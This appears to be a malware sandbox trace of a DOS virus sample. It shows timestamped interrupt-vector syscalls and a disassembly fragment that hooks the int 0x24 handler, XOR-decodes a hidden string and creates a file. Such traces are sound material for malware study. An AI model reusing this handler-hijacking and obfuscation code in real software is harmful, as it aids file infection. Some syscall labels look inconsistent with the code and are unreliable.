Sample viewer

vx.netlux.org/Virus.DOS.Something

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:41:46.148748102Z 53 PC: 12a8d | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:41:46.150578485Z 37 PC: 12a9f | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:41:46.152812249Z 42 PC: 12abe | Get date 0x12abe: mov byte ptr [0x391], al
0x12ac1: cmp dl, 0xb
0x12ac4: jne 0x12b13
0x12ac6: mov ax, 0x3524
0x12ac9: int 0x21
0x12acb: mov word ptr [0x37d], bx
0x12acf: mov word ptr [0x37f], es
0x12ad3: lea dx, word ptr [0x20b]
0x12ad7: mov ax, 0x2524
0x12ada: int 0x21
0x12adc: lea bx, word ptr [0x351]
0x12ae0: mov cx, 0x26
0x12ae3: xor byte ptr [bx], 0xa
0x12ae6: inc bx
0x12ae7: loop 0x12ae3
0x12ae9: lea dx, word ptr [0x351]
0x12aed: xor cx, cx
0x12aef: mov ah, 0x3c
0x12af1: int 0x21
0x12af3: mov bx, ax